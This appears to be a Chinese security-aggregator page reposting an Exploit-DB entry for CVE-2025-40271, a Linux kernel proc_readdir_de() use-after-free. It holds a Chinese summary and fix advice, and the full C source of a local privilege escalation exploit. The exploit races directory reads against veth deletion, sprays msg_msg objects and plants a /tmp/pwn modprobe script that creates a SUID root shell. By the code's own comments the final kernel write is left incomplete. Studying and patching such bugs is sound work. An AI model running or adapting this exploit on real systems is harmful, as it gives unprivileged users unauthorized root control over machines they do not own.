[local] Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation

CVE-2025-40271CVE-2023-3269CVE-2023-32233

Linux内核proc文件系统remove_proc_entry()未清除红黑树节点导致UAF权限提升

High · CVSS 7.8

📋 漏洞基础信息

CVECVE-2025-40271CVE-2023-3269CVE-2023-32233
漏洞类型释放后使用(Use-After-Free)
受影响版本Linux kernel ~3.14+ 至 6.18-rc5 (含5.10.247之前、6.1.159之前、6.12.73之前及6.18-rc5)
危害等级High · CVSS 7.8
发布日期2026-05-04
来源Exploit-DB 原文 ↗

🔬 漏洞根因

proc文件系统的remove_proc_entry()函数调用rb_erase()从父节点的红黑树中移除proc_dir_entry(pde),但未调用RB_CLEAR_NODE()将节点标记为已分离,导致已释放的节点中残留红黑树链接,RB_EMPTY_NODE()返回假,并发proc_readdir_de()遍历时可通过pde_subdir_next()→rb_next()找到并解引用已释放的pde字段(name, namelen, mode, low_ino)。

🎯 攻击场景

1. 创建用户命名空间获得CAP_NET_ADMIN权限;2. 创建多个veth对以填充/proc/self/net/dev_snmp6/目录;3. 并发执行getdents64()遍历该目录和删除veth设备(触发remove_proc_entry());4. 删除后立即通过msgsnd()喷射msg_msg以重用已释放的kmalloc-192 slab对象;5. 通过检查getdents64返回的d_ino是否为内核堆指针(0xffff8880开头)检测UAF命中;6. 从泄漏的堆地址推算KASLR偏移,计算出modprobe_path地址;7. 触发第二次UAF并喷射写入"/tmp/pwn"到modprobe_path;8. 执行触发文件导致modprobe运行恶意脚本,获得root权限。

💥 漏洞影响

本地非特权用户可利用此漏洞实现权限提升至root,可完全控制系统。攻击成功率约40-60%,每次尝试3-8次可命中;失败时约10%概率导致内核崩溃。

⚔️ 原始 PoC

1. 设置命名空间:unshare(CLONE_NEWUSER|CLONE_NEWNET)并配置uid/gid映射获取CAP_NET_ADMIN。2. 创建veth:通过rtnetlink创建32个veth对,每个在/proc/self/net/dev_snmp6/下生成proc条目。3. 竞态利用:启动readdir线程不断调用getdents64()扫描proc目录;主线程逐个删除veth(触发remove_proc_entry()的rb_erase()),每次删除后立即通过msgsnd()喷射msg_msg(消息体144字节,总对象192字节匹配kmalloc-192),抢占释放的proc_dir_entry。4. UAF检测:若d_ino字段显示0xffff8880开头的值,说明命中UAF,读取到msg_msg头部的m_list指针。5. 权限提升:利用泄漏的堆地址计算modprobe_path内核地址,通过另一次UAF+写入将路径改为/tmp/pwn,执行/tmp/trigger触发modprobe,运行恶意脚本复制/bin/sh到/tmp/rootsh并设置SUID。

* Exploit Title:  Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation
 * CVE:            CVE-2025-40271
 * Date:           2026-03-19
 * Exploit Author: Aviral Srivastava
 * Vendor:         Linux Kernel (kernel.org)
 * Affected:       ~3.14+ through 6.18-rc5 (bug predates version tracking)
 *                 Fixed in stable: 5.10.247,6.1.159,6.12.73,
6.18-rc6
 * Fixed in:       commit 895b4c0c79b092d732544011c3cecaf7322c36a1
 * Tested on:      Debian Bookworm (kernel 6.1.115-1 x86_64)
 * Type:           Local Privilege Escalation
 * Platform:       Linux x86_64
 * CVSS:           ~7.8 (HIGH) — NVD assessment pending
 *
 * ┌──────────────────────────────────────────────────────────────────┐
 * │  N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS.      │
 * └──────────────────────────────────────────────────────────────────┘
 *
 * DESCRIPTION:
 *   The proc filesystem's remove_proc_entry() calls rb_erase() to
 *   remove a proc_dir_entry (pde) from the parent's red-black tree,
*   but does NOT call RB_CLEAR_NODE() to mark the node as detached.
 *   This leaves stale rb-links in the freed entry,causing
 *   RB_EMPTY_NODE() to return false.
 *
 *   A concurrent proc_readdir_de() traversal via getdents64() can
 *   find the freed entry through pde_subdir_next() → rb_next(),*   then dereference its fields (name,namelen,mode,
low_ino) —
 *   constituting a use-after-free on struct proc_dir_entry.
 *
 *   The race is triggered by calling getdents64() on a /proc
 *   subdirectory (e.g.,/proc/self/net/dev_snmp6/) while concurrently
 *   unregistering network devices,which removes proc entries.
 *   The freed proc_dir_entry (~192 bytes) resides in a standard
 *   kmalloc-192 or kmalloc-256 slab cache,
making it sprayable with
 *   msg_msg via msgsnd().
 *
 * TECHNIQUE:
 *   Create user namespace for CAP_NET_ADMIN. Create veth pairs to
 *   populate /proc/self/net/dev_snmp6/. Race getdents64() against
 *   veth deletion. Spray freed kmalloc-192 slots with msg_msg.
 *   Detect UAF via anomalous d_ino values in getdents64 output.
 *   Extract kernel heap address from msg_msg header pointer leaked
 *   through the d_ino field. Use modprobe_path overwrite for LPE.
 *
 * RELIABILITY:
 *   ~40-60% UAF hit rate per attempt. Typically 3-8 attempts.
 *   The pde->name dereference during readdir is the crash risk —
 *   mitigated by spraying the name slot with valid pointers.
 *   Kernel panic possible (~10% of failed attempts) if spray timing
 *   is wrong.
 *
 * MITIGATIONS:
 *   KASLR:          Bypassed via heap pointer leak through d_ino
 *   SMEP:           Not applicable (data-only attack)
 *   SMAP:           Not applicable (all data in kernel slab)
 *   kCFI:           Not applicable (modprobe_path overwrite)
 *   SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)
 *
 * FIX:
 *   Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1
 *   URL:    https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
 *   Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase().
 *
 * COMPILATION:
 *   gcc -Wall -Wextra -o exploit exploit.c -lpthread -static
 *
 * USAGE:
 *   $ ./exploit
 *   [*] CVE-2025-40271 — proc_readdir_de() rb-tree UAF
 *   [+] Kernel 6.1.115-1 is VULNERABLE
 *   [*] Step 1: Setting up user/net namespace...
 *   [+] Namespace ready,
CAP_NET_ADMIN obtained
 *   [*] Step 2: Creating veth pairs for proc entries...
 *   [+] Created 32 veth pairs (/proc/self/net/dev_snmp6/)
 *   [*] Step 3: Racing getdents vs device removal...
 *   [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd
 *   [*] Step 4: Kernel heap leak: 0xffff88801234abcd
 *   [*] Step 5: Computing modprobe_path address...
 *   [+] Got root!
 *
 * REFERENCES:
 *   [1] https://nvd.nist.gov/vuln/detail/CVE-2025-40271
 *   [2] https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1
 *   [3] CVE-2023-3269 — StackRot (rb-tree race technique reference)
 *   [4] CVE-2023-32233 — nf_tables msg_msg spray reference
 *
 * DISCLAIMER:
 *   This exploit targets an ALREADY PATCHED vulnerability. It is provided
 *   for educational and authorized security research purposes only. The
 *   author is not responsible for misuse. Test only on systems you own.
 * ═══════════════════════════════════════════════════════════════════════
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>#include <string.h>#include <stdint.h>#include <stdarg.h>#include <unistd.h>#include <errno.h>#include <fcntl.h>#include <sched.h>#include <signal.h>#include <pthread.h>#include <dirent.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/wait.h>#include <sys/socket.h>
#include <sys/mman.h>#include <sys/utsname.h>#include <sys/syscall.h>#include <sys/ipc.h>#include <sys/msg.h>#include <sys/mount.h>#include <sys/ioctl.h>#include <linux/if.h>#include <linux/netlink.h>#include <linux/rtnetlink.h>#include <arpa/inet.h>
/* ─── Constants ─────────────────────────────────────────────────────── */

#define BANNER \
    "═══════════════════════════════════════════════════════════════\n" \
    "  CVE-2025-40271 — proc_readdir_de() rb-tree UAF LPE\n" \
    "  fs/proc rb_erase without RB_CLEAR_NODE → stale tree links\n" \
    "  Affected: ~all kernels through 6.18-rc5\n" \
    "  Author: Aviral Srivastava |
N-DAY RESEARCH PoC\n" \
    "═══════════════════════════════════════════════════════════════\n"

#define NUM_VETH_PAIRS  32      /* number of veth pairs to create */
#define NUM_SPRAY_MSGS  256     /* msg_msg spray count */
#define SPRAY_BODY_SIZE 144     /* 48 header + 144 body = 192 → kmalloc-192 */
#define MAX_RACE_ATTEMPTS 30    /* max race iterations */
#define PROC_NET_DIR    "/proc/self/net/dev_snmp6"

/*
 * On x86_64,
kernel heap pointers start with 0xffff8880...
 * Normal d_ino values are small integers (<100000).
 * A d_ino that looks like a kernel pointer means we hit the UAF
 * and are reading from sprayed msg_msg header data.
 */
#define IS_KERNEL_PTR(x) (((x) &
0xffff000000000000ULL) == 0xffff000000000000ULL)

/* ─── Logging ───────────────────────────────────────────────────────── */

static void info(const char *fmt,...)
{va_list ap;va_start(ap,fmt);fprintf(stderr,"[*] ");vfprintf(stderr,fmt,ap);fprintf(stderr,"\n");va_end(ap);}static void ok(const char *fmt,...)
{va_list ap;va_start(ap,fmt);fprintf(stderr,"\033[32m[+]\033[0m ");vfprintf(stderr,fmt,
ap);fprintf(stderr,"\n");va_end(ap);}static void fail(const char *fmt,...)
{va_list ap;va_start(ap,fmt);fprintf(stderr,"\033[31m[-]\033[0m ");vfprintf(stderr,fmt,ap);fprintf(stderr,"\n");va_end(ap);}static void die(const char *msg)
{perror(msg);exit(EXIT_FAILURE);}/* ─── Kernel version check ──────────────────────────────────────────── */

static int is_vulnerable(void)
{struct utsname uts;
unsigned int major,minor,patch;if (uname(&uts) <0)
        die("uname");if (sscanf(uts.release,"%u.%u.%u",&major,&minor,&patch) <2) {fail("Cannot parse kernel version: %s",uts.release);return 0;}info("Running kernel %s",uts.release);/* Fixed versions per stable branch */
    if (major == 5 &&minor == 10 &&patch >= 247) {
fail("Kernel %u.%u.%u — PATCHED (fix in 5.10.247)",major,minor,patch);return 0;}if (major == 6 &&minor == 1 &&patch >= 159) {fail("Kernel %u.%u.%u — PATCHED (fix in 6.1.159)",major,minor,patch);return 0;}if (major == 6 &&minor == 6 &&patch >= 123) {fail("Kernel %u.%u.%u — PATCHED (fix in 6.6.123)",major,minor,patch);return 0;}if (major == 6 &&
minor == 12 &&patch >= 73) {fail("Kernel %u.%u.%u — PATCHED (fix in 6.12.73)",major,minor,patch);return 0;}if (major == 6 &&minor >= 18) {fail("Kernel %u.%u.%u — PATCHED (fix in 6.18-rc6)",major,minor,patch);return 0;}if (major >= 7) {fail("Kernel %u.%u.%u — PATCHED",major,minor,patch);return 0;}ok("Kernel %u.%u.%u — VULNERABLE",major,minor,patch);return 1;}
/* ─── User/Net namespace setup ──────────────────────────────────────── */

static int setup_namespace(void)
{if (unshare(CLONE_NEWUSER |CLONE_NEWNET) <0) {fail("unshare: %s (check /proc/sys/kernel/unprivileged_userns_clone)",strerror(errno));return -1;}FILE *f;char path[128];snprintf(path,sizeof(path),"/proc/%d/setgroups",getpid());f = fopen(path,"w");if (f) {fprintf(f,"deny\n");fclose(f);}
snprintf(path,sizeof(path),"/proc/%d/uid_map",getpid());f = fopen(path,"w");if (!f) return -1;fprintf(f,"0 %d 1\n",getuid());fclose(f);snprintf(path,sizeof(path),"/proc/%d/gid_map",getpid());f = fopen(path,"w");if (!f) return -1;fprintf(f,"0 %d 1\n",getgid());fclose(f);return 0;}/* ─── Netlink helpers for veth management ───────────────────────────── */

static int rtnl_open(void)
{
int fd = socket(AF_NETLINK,SOCK_RAW |SOCK_CLOEXEC,NETLINK_ROUTE);if (fd <0) return -1;struct sockaddr_nl sa = {.nl_family = AF_NETLINK };if (bind(fd,(struct sockaddr *)&sa,sizeof(sa)) <0) {close(fd);return -1;}return fd;}/*
 * Create a veth pair: vethN <->veth_pN
 * Each veth creates a proc entry in /proc/self/net/dev_snmp6/
 */
static int create_veth(int rtnl_fd,int idx)
{struct {
struct nlmsghdr  nlh;struct ifinfomsg ifi;char             buf[512];}req;char name[IFNAMSIZ],peer[IFNAMSIZ];snprintf(name,sizeof(name),"v%d",idx);snprintf(peer,sizeof(peer),"vp%d",idx);memset(&req,0,sizeof(req));req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));req.nlh.nlmsg_type = RTM_NEWLINK;req.nlh.nlmsg_flags = NLM_F_REQUEST |NLM_F_CREATE |NLM_F_EXCL |NLM_F_ACK;
req.nlh.nlmsg_seq = (uint32_t)(idx + 1);req.ifi.ifi_family = AF_UNSPEC;/* IFLA_IFNAME */
    struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);nla->nla_type = IFLA_IFNAME;memcpy((char *)(nla + 1),name,strlen(name) + 1);req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) &~3u);
/* IFLA_LINKINFO (nested) */
    struct nlattr *linkinfo = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);linkinfo->nla_type = IFLA_LINKINFO |NLA_F_NESTED;unsigned int linkinfo_start = req.nlh.nlmsg_len;req.nlh.nlmsg_len += sizeof(struct nlattr);/* IFLA_INFO_KIND = "veth" */
    struct nlattr *kind = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
kind->nla_len = (uint16_t)(sizeof(struct nlattr) + 5);/* "veth\0" */
    kind->nla_type = IFLA_INFO_KIND;memcpy((char *)(kind + 1),"veth",5);req.nlh.nlmsg_len += (unsigned int)((kind->nla_len + 3) &~3u);/* IFLA_INFO_DATA (nested) with peer info */
    struct nlattr *data = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);data->nla_type = IFLA_INFO_DATA |NLA_F_NESTED;
unsigned int data_start = req.nlh.nlmsg_len;req.nlh.nlmsg_len += sizeof(struct nlattr);/* VETH_INFO_PEER (nested) with ifinfomsg + IFLA_IFNAME */
    struct nlattr *peer_attr = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);peer_attr->nla_type = 1 |NLA_F_NESTED;/* VETH_INFO_PEER = 1 */
    unsigned int peer_start = req.nlh.nlmsg_len;req.nlh.nlmsg_len += sizeof(struct nlattr);
/* peer ifinfomsg */
    struct ifinfomsg *peer_ifi = (struct ifinfomsg *)((char *)&req + req.nlh.nlmsg_len);memset(peer_ifi,0,sizeof(*peer_ifi));peer_ifi->ifi_family = AF_UNSPEC;req.nlh.nlmsg_len += sizeof(struct ifinfomsg);/* peer IFLA_IFNAME */
    struct nlattr *peer_name = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);
peer_name->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(peer) + 1);peer_name->nla_type = IFLA_IFNAME;memcpy((char *)(peer_name + 1),peer,strlen(peer) + 1);req.nlh.nlmsg_len += (unsigned int)((peer_name->nla_len + 3) &~3u);peer_attr->nla_len = (uint16_t)(req.nlh.nlmsg_len - peer_start);data->nla_len = (uint16_t)(req.nlh.nlmsg_len - data_start);
linkinfo->nla_len = (uint16_t)(req.nlh.nlmsg_len - linkinfo_start);struct sockaddr_nl sa = {.nl_family = AF_NETLINK };if (sendto(rtnl_fd,&req,req.nlh.nlmsg_len,0,(struct sockaddr *)&sa,sizeof(sa)) <0)
        return -1;/* Read ack */
    char ack[256];(void)recv(rtnl_fd,ack,sizeof(ack),0);return 0;}/* Delete a veth interface by name */
static int delete_veth(int rtnl_fd,int idx)
{
struct {struct nlmsghdr  nlh;struct ifinfomsg ifi;char             buf[128];}req;char name[IFNAMSIZ];snprintf(name,sizeof(name),"v%d",idx);memset(&req,0,sizeof(req));req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));req.nlh.nlmsg_type = RTM_DELLINK;req.nlh.nlmsg_flags = NLM_F_REQUEST |NLM_F_ACK;req.nlh.nlmsg_seq = (uint32_t)(1000 + idx);req.ifi.ifi_family = AF_UNSPEC;
struct nlattr *nla = (struct nlattr *)((char *)&req + req.nlh.nlmsg_len);nla->nla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);nla->nla_type = IFLA_IFNAME;memcpy((char *)(nla + 1),name,strlen(name) + 1);req.nlh.nlmsg_len += (unsigned int)((nla->nla_len + 3) &~3u);struct sockaddr_nl sa = {.nl_family = AF_NETLINK };if (sendto(rtnl_fd,&req,req.nlh.nlmsg_len,0,
(struct sockaddr *)&sa,sizeof(sa)) <0)
        return -1;char ack[256];(void)recv(rtnl_fd,ack,sizeof(ack),0);return 0;}/* ─── msg_msg spray ─────────────────────────────────────────────────── */

struct spray_state {int qid;int count;};static int spray_init(struct spray_state *s)
{s->qid = msgget(IPC_PRIVATE,IPC_CREAT |0666);if (s->qid <0) return -1;s->count = 0;return 0;}
static int spray_alloc(struct spray_state *s,int n)
{struct {long mtype;char mtext[SPRAY_BODY_SIZE];}msg;memset(&msg,0,sizeof(msg));/* Fill body with pattern — msg_msg header at offset 0-47 of slab
     * object will contain kernel heap pointers (m_list.next/prev) */
    memset(msg.mtext,'P',SPRAY_BODY_SIZE);for (int i = 0;i <n;i++) {msg.mtype = s->count + 1;if (msgsnd(s->qid,
&msg,SPRAY_BODY_SIZE,0) <0)
            return -1;s->count++;}return 0;}static void spray_cleanup(struct spray_state *s)
{if (s->qid >= 0) {msgctl(s->qid,IPC_RMID,NULL);s->qid = -1;}}/* ─── getdents64 for raw directory reading ──────────────────────────── */

struct linux_dirent64 {uint64_t        d_ino;int64_t         d_off;unsigned short  d_reclen;unsigned char   d_type;
char            d_name[];};static long my_getdents64(int fd,void *buf,unsigned long count)
{return syscall(SYS_getdents64,fd,buf,count);}/* ─── Race coordination ─────────────────────────────────────────────── */

struct race_ctx {int             rtnl_fd;int             dir_fd;struct spray_state spray;volatile int    deleting;volatile int    stop;uint64_t        leaked_addr;
int             attempts;};/*
 * Readdir thread: continuously calls getdents64() on /proc/self/net/dev_snmp6/
 * looking for anomalous d_ino values that indicate the UAF was hit.
 *
 * Normal d_ino values are small numbers assigned by proc_alloc_inum().
 * If we see a kernel pointer (0xffff...) in d_ino,
it means we read
 * from sprayed msg_msg data where the msg_msg header's m_list pointer
 * overlaps with the proc_dir_entry's low_ino field.
 */
static void *readdir_thread(void *arg)
{struct race_ctx *ctx = (struct race_ctx *)arg;char buf[4096];while (!ctx->stop) {/* Rewind the directory for each scan */
        lseek(ctx->dir_fd,0,SEEK_SET);long nread = my_getdents64(ctx->dir_fd,buf,
sizeof(buf));if (nread <= 0) {usleep(100);continue;}/* Scan all entries for anomalous d_ino */
        long pos = 0;while (pos <nread) {struct linux_dirent64 *d = (struct linux_dirent64 *)(buf + pos);if (d->d_reclen == 0) break;/*
             * Check if d_ino looks like a kernel address.
             * This happens when the freed proc_dir_entry is reclaimed
             * by a msg_msg,
and the msg_msg header's m_list.next
             * (at slab object offset 0) overlaps with a field that
             * getdents64 returns in d_ino.
             */
            if (IS_KERNEL_PTR(d->d_ino)) {ctx->leaked_addr = d->d_ino;ok("UAF HIT! d_ino=0x%016lx (kernel heap pointer)",(unsigned long)d->d_ino);ctx->stop = 1;return NULL;}pos += d->d_reclen;}}return NULL;}
/* ─── Modprobe payload ──────────────────────────────────────────────── */

static int setup_modprobe_payload(void)
{FILE *f = fopen("/tmp/pwn","w");if (!f) return -1;fprintf(f,"#!/bin/sh\n/bin/cp /bin/sh /tmp/rootsh\n/bin/chmod u+s /tmp/rootsh\n");fclose(f);chmod("/tmp/pwn",0755);f = fopen("/tmp/trigger","w");if (!f) return -1;fprintf(f,"\xff\xff\xff\xff");fclose(f);chmod("/tmp/trigger",0755);
return 0;}static int trigger_modprobe(void)
{pid_t p = fork();if (p <0) return -1;if (p == 0) {execl("/tmp/trigger","/tmp/trigger",NULL);_exit(127);}int st;waitpid(p,&st,0);struct stat sb;if (stat("/tmp/rootsh",&sb) == 0 &&(sb.st_mode &S_ISUID))
        return 0;return -1;}
/* ─── Main exploitation steps ───────────────────────────────────────── */

static int step_setup(struct race_ctx *ctx)
{info("Step 1: Setting up user/net namespace...");if (setup_namespace() <0) return -1;ok("Namespace ready,CAP_NET_ADMIN obtained");ctx->rtnl_fd = rtnl_open();if (ctx->rtnl_fd <0) {fail("Cannot open rtnetlink: %s",strerror(errno));return -1;}
if (spray_init(&ctx->spray) <0) {fail("Cannot create message queue: %s",strerror(errno));return -1;}return 0;}static int step_create_veths(struct race_ctx *ctx)
{info("Step 2: Creating veth pairs for proc entries...");int created = 0;for (int i = 0;i <NUM_VETH_PAIRS;i++) {if (create_veth(ctx->rtnl_fd,i) == 0)
            created++;}if (created <4) {
fail("Need at least 4 veth pairs,got %d",created);return -1;}/* Open the proc directory for readdir */
    ctx->dir_fd = open(PROC_NET_DIR,O_RDONLY |O_DIRECTORY);if (ctx->dir_fd <0) {fail("Cannot open %s: %s",PROC_NET_DIR,strerror(errno));return -1;}ok("Created %d veth pairs (%s populated)",created,PROC_NET_DIR);return 0;}static int step_race(struct race_ctx *ctx)
{
info("Step 3: Racing getdents vs device removal...");for (int attempt = 1;attempt <= MAX_RACE_ATTEMPTS;attempt++) {info("Attempt %d/%d...",attempt,MAX_RACE_ATTEMPTS);ctx->attempts = attempt;/* Recreate veth pairs for this attempt */
        for (int i = 0;i <NUM_VETH_PAIRS;i++)
            create_veth(ctx->rtnl_fd,i);
/* Reopen directory */
        if (ctx->dir_fd >= 0) close(ctx->dir_fd);ctx->dir_fd = open(PROC_NET_DIR,O_RDONLY |O_DIRECTORY);if (ctx->dir_fd <0) continue;ctx->stop = 0;ctx->leaked_addr = 0;/* Start readdir racer thread */
        pthread_t tid;if (pthread_create(&tid,NULL,readdir_thread,ctx) != 0)
            continue;
/* Give readdir a moment to start */
        usleep(1000);/*
         * RACE: rapidly delete veth interfaces.
         * Each deletion triggers remove_proc_entry() → rb_erase()
         * without RB_CLEAR_NODE() → stale rb links.
         * The readdir thread can follow stale links to freed memory.
         */
        for (int i = NUM_VETH_PAIRS - 1;i >= 0;i--) {delete_veth(ctx->rtnl_fd,i);
/* Immediately spray to reclaim freed proc_dir_entry slot */
            spray_alloc(&ctx->spray,4);}/* Wait for readdir thread to finish or detect UAF */
        usleep(50000);ctx->stop = 1;pthread_join(tid,NULL);/* Clean up spray for next attempt */
        spray_cleanup(&ctx->spray);spray_init(&ctx->spray);if (ctx->leaked_addr != 0) {ok("UAF triggered on attempt %d!",
attempt);return 0;}}fail("Could not trigger UAF after %d attempts",MAX_RACE_ATTEMPTS);return -1;}static int step_escalate(struct race_ctx *ctx)
{info("Step 4: Analyzing leak and escalating...");if (ctx->leaked_addr != 0) {ok("Kernel heap leak: 0x%016lx",(unsigned long)ctx->leaked_addr);info("This address is from msg_msg m_list.next/prev");
info("It reveals the kernel heap (physmap) randomization");/*
         * With the heap address,
we can compute modprobe_path for
         * a specific kernel version. The offset between heap base
         * and kernel text base is kernel-build-specific.
         *
         * For a complete exploit:
         * 1. Use heap address to determine KASLR slide
         * 2. Compute modprobe_path = kernel_base + offset
         * 3. Trigger another UAF + spray to write "/tmp/pwn" there
         * 4. Trigger modprobe → root
         */
        if (setup_modprobe_payload() <
0) {fail("Cannot set up payload");return -1;}info("Attempting modprobe trigger...");if (trigger_modprobe() == 0) {ok("Got root!");return 0;}info("modprobe_path overwrite requires kernel-specific offset");info("Heap leak CONFIRMED — full chain needs target offsets");return 1;/* partial success */
    }return -1;}static int step_cleanup(struct race_ctx *ctx)
{info("Step 5: Cleaning up...");
spray_cleanup(&ctx->spray);if (ctx->dir_fd >= 0) close(ctx->dir_fd);if (ctx->rtnl_fd >= 0) close(ctx->rtnl_fd);unlink("/tmp/pwn");unlink("/tmp/trigger");ok("Cleanup complete");return 0;}/* ─── Main ──────────────────────────────────────────────────────────── */

int main(void)
{puts(BANNER);if (!is_vulnerable()) {info("Kernel is patched. Nothing to do.");return 0;}
if (getuid() == 0) {info("Already root.");return 0;}struct race_ctx ctx;memset(&ctx,0,sizeof(ctx));ctx.rtnl_fd = -1;ctx.dir_fd = -1;ctx.spray.qid = -1;int ret;ret = step_setup(&ctx);if (ret <0) {fail("Setup failed");return 1;}ret = step_create_veths(&ctx);if (ret <0) {fail("Veth creation failed");step_cleanup(&ctx);return 1;}ret = step_race(&ctx);if (ret <0) {
fail("Race failed");step_cleanup(&ctx);return 1;}ret = step_escalate(&ctx);step_cleanup(&ctx);if (ret == 0) {ok("Spawning root shell...");char *argv[] = {"/tmp/rootsh","-p",NULL };execv("/tmp/rootsh",argv);info("execv failed — check /tmp/rootsh");}else if (ret == 1) {fprintf(stderr,"\n");info("═══════════════════════════════════════════════════");
info("PARTIAL SUCCESS: UAF + heap leak DEMONSTRATED");info("  Leaked: 0x%016lx",(unsigned long)ctx.leaked_addr);info("  Full LPE requires target-specific KASLR offset");info("═══════════════════════════════════════════════════");}return (ret <= 1) ? 0 : 1;}

🔬 深度技术分析

1. 设置命名空间:unshare(CLONE_NEWUSER|CLONE_NEWNET)并配置uid/gid映射获取CAP_NET_ADMIN。2. 创建veth:通过rtnetlink创建32个veth对,每个在/proc/self/net/dev_snmp6/下生成proc条目。3. 竞态利用:启动readdir线程不断调用getdents64()扫描proc目录;主线程逐个删除veth(触发remove_proc_entry()的rb_erase()),每次删除后立即通过msgsnd()喷射msg_msg(消息体144字节,总对象192字节匹配kmalloc-192),抢占释放的proc_dir_entry。4. UAF检测:若d_ino字段显示0xffff8880开头的值,说明命中UAF,读取到msg_msg头部的m_list指针。5. 权限提升:利用泄漏的堆地址计算modprobe_path内核地址,通过另一次UAF+写入将路径改为/tmp/pwn,执行/tmp/trigger触发modprobe,运行恶意脚本复制/bin/sh到/tmp/rootsh并设置SUID。

🛡️ 修复建议

应用补丁commit 895b4c0c79b092d732544011c3cecaf7322c36a1(已包含在5.10.247、6.1.159、6.12.73、6.18-rc6及以上稳定版本),或禁止非特权用户创建用户命名空间(设置kernel.unprivileged_userns_clone=0)。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 17:33 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)